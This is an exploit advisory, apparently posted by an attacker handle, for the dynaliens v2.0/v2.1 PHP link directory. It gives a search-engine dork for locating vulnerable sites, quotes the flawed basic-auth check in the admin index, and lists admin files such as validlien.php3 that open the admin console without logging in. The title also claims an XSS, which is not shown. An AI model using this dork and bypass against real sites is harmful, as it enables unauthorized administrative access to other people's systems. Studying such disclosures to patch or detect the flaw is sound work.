dynaliens v2.0/v2.1 bypass admin authentification + XSS

• dynaliens v2.0/v2.1 bypass admin authentification + XSS

• By : sn0oPy

• Risk : high

• site : http://www.spiderforce.fr.st/

• Dork : inurl:"/dynaliens"

• exploit :

     normaly when we add "/admin" to the link, like that http://www.target.ma/dynaliens/admin we are face to face with a restricted zone area, but if we add "validlien.php3" after the admin folder we are redirected to the consol admin without authentification.
  

the AUTH_USER is present just in/for the index :

if ($auth == 0)
{
if(!$PHP_AUTH_USER)
{
Header("WWW-authenticate: basic realm=\"$domaine\"");
Header("HTTP/1.0 401 Unauthorized");

    // Ci dessous le code qui est affichй si l'on click le bouton Cancel

    EnteteADMIN();

…

            if ($PHP_AUTH_USER==$login && $PHP_AUTH_PW==$pwd)
            {
                    if (@mysql_connect ($cfgHote, $cfgUser, $cfgPass))
                    {
                            $sql = "SELECT * FROM $tb_rub";
                            $sql = mysql_db_query($cfgBase,$sql);
                            $nbrub = mysql_num_rows($sql);

                            $sql2 = "SELECT * FROM $tb_liens WHERE valid=0";
                            $sql2 = mysql_db_query($cfgBase,$sql2);
                            $addlien = mysql_num_rows($sql2);

                            $sql3 = "SELECT * FROM $tb_liens WHERE valid=1";
                            $sql3 = mysql_db_query($cfgBase,$sql3);
                            $dellien = mysql_num_rows($sql3);

                            EnteteADMIN();

                            br(4);

                            echo "<center>";
                            DebutTableau("#FFFFFF", "1", "0", "30%");
                            DebutTableau("#5A6BA5", "20", "0", "100%");

                            echo "<center>";
                            echo "<font color='#FDFC65'><b>CONSOLE D'ADMINISTRATION</b></font>";
                            echo "</center>";

you can do it with any one of this files when the admin has forget to reedit his files:

validlien.php3
supprlien.php3
supprub.php3
validlien.php3
confsuppr.php3
modiflien.php3
confmodif.php3
